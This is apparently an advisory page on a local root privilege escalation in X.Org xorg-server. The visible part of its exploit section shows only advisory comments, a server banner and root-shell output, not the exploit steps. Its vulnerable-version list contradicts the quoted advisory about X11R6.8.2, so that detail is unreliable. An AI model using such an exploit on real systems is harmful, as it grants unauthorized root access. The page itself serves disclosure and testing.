X.Org X11 (X11R6.9.0/X11R7.0) Local Root Privilege Escalation (Exploit)
22 Mar. 2006
Summary
"The X.Org Foundation provides an open source implementation of the X Window System." A privileges escalation with in X.org allows attackers to gain root privileges, the following exploit code can be used to test your system for the mentioned vulnerability.
Vulnerable Systems:
* xorg-server version 1.0.0, as shipped with X11R7.0
* xorg-server version X11R7.0rc
* xorg-server version X11R6.9.0
* xorg-server version X11R6.9.0rc
* xorg-server version X11R6.8.2
* xorg-server version X11R6.8.2rc
Exploit:
# From Daniel Stone's Advisory
# xorg-server 1.0.0, as shipped with X11R7.0, and all release candidates
# of X11R7.0, is vulnerable.
# X11R6.9.0, and all release candidates, are vulnerable.
# X11R6.8.2 and earlier versions are not vulnerable.
X Window System Version 7.0.0
Release Date: 21 December 2005
X Protocol Version 11, Revision 0, Release 7.0
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r00t # id
uid=0(root) gid=100(users) groups=10(wheel),18(audio)...